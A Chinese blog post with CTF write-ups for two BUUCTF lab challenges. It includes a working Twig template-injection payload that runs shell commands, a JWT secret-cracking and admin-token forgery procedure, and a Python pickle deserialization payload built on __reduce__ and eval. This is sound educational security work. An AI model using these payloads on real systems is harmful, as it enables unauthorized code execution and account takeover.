buuoj_python

[BJDCTF2020]Cookie is so stable

这是一道模板注入题,模板注入题流程图(搬运来的)

 

首先在 /flag.php 这页测试,测试结果是Twig

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777

 

因为hint.php源码可以看到有关 cookie 的提示,抓包看一下cookie和注入点的关系

 

登录进去之后抓包,发现 cookie 里面 user 是注入点

 

直接拿 ssti 注入这篇文章(链接在最后)的 payload 打

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

把 id 换成 cat /flag 可以直接得到 flag

 

参考:

https://shawroot.hatenablog.com/entry/2020/01/29/BJDCTF2020/BUUCTF-WEB%3ACookie_is_so_stable%EF%BC%88Twig%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%EF%BC%89

https://zhuanlan.zhihu.com/p/28823933

 

[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:逻辑漏洞、jwt密钥破解、python反序列化漏洞

进入靶机查看源码:

 

提示需要买到lv6,注册账号发现给了1000块钱,根据ctf套路应该是用很低的价格买很贵的lv6,首页翻了几页都没发现lv6,写脚本找:

import requests

url = "http://76267771-2542-4ee4-a22f-d01b144fa6c5.node3.buuoj.cn/shop?page={}"
for i in range(10,1000):
    url1=url.format(i)
    r=requests.get(url1)
    if "lv6.png" in r.text:
        print("我找到了lv6了 %d"%i)
        break;
    else:
        print(url1)

跑出结果是lv6在181页,而且很贵买不起

 

看一下源码,发现是可以直接改折扣和价格的,但是价格修改后支付失败,但是可以把折扣改的很低很低比如0.000000000000000000001

 

购买成功后发现页面只允许admin访问

 

但是我们不是管理员,那么需要获得管理员的cookie,查看一下当前页面的cookie发现有一栏叫做jwt

 

可以去jwt.io这个网站去验证一下这个jwt

 

若要获得管理员的jwt,需要先把username改为admin然后破解your-256-bit-secret密钥,这样jwt.io就会返回正确的管理员的jwt-cookie

这里就需要破解jwt秘钥的软件https://github.com/brendan-rius/c-jwt-cracker

 

安装步骤是先clone破解软件

git clone https://github.com/brendan-rius/c-jwt-cracker.git

再进入文件夹,最后make编译

 

然后开始破解工作,双引号内是jwt,破解出密码为1Kun

 

这个时候在jwt.io把username改为admin然后密钥处填上1Kun,左侧返回正确的管理员的jwt-cookie

 

利用editcookie插件add cookie(应该直接修改jwt就可以,但是插件不太好用,add才可以)刷新后页面改变

 

查看源码发现提示,可以下载源码

 

审计之后找到了一个python反序列化的地方,在 Admin.py

 

post这个函数里,首先get_argument是一个框架的内置函数用来获取变量

become = self.get_argument('become')

然后urllib.unquote把字典形式的参数进行url编码,然后pickle.loads对应pickle.dumps,相当于反序列化和序列化

p = pickle.loads(urllib.unquote(become))

 

测试一下pickle.dumps产生的序列化大概是个什么样子(由于这个站本身是python2.x的站,所以代码最后也要按照python2.x 的方式来运行)

import pickle
d1 = dict(name='phoebe',age='19')
print(pickle.dumps(d1))

 

是一个二进制的文件流,多用来写文件,然后再来了解一下python的魔术方法_reduce_,当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。

_reduce_ 被定义之后,当对象被Pickle时就会被调用。那么脚本如下:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

 

(主要还是这行代码:return (eval, ("open('/flag.txt','r').read()",))

reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,

其中包括:

一个可调用的对象,用于重建对象时调用;

一个参数元素,供那个可调用对象使用;

被传递给 setstate 的状态(可选);

一个产生被pickle的列表元素的迭代器(可选);

一个产生被pickle的字典元素的迭代器(可选)。

我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open(’/flag.txt’,‘r’).read())

点击一键成为大会员抓包修改become值,得到flag

 

参考:http://github.mrkaixin.computer/2019/06/05/BUUCTF%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/#toc-heading-10

 

posted @ 2020-03-05 19:39  beiwo  阅读(1998)  评论(0编辑  收藏  举报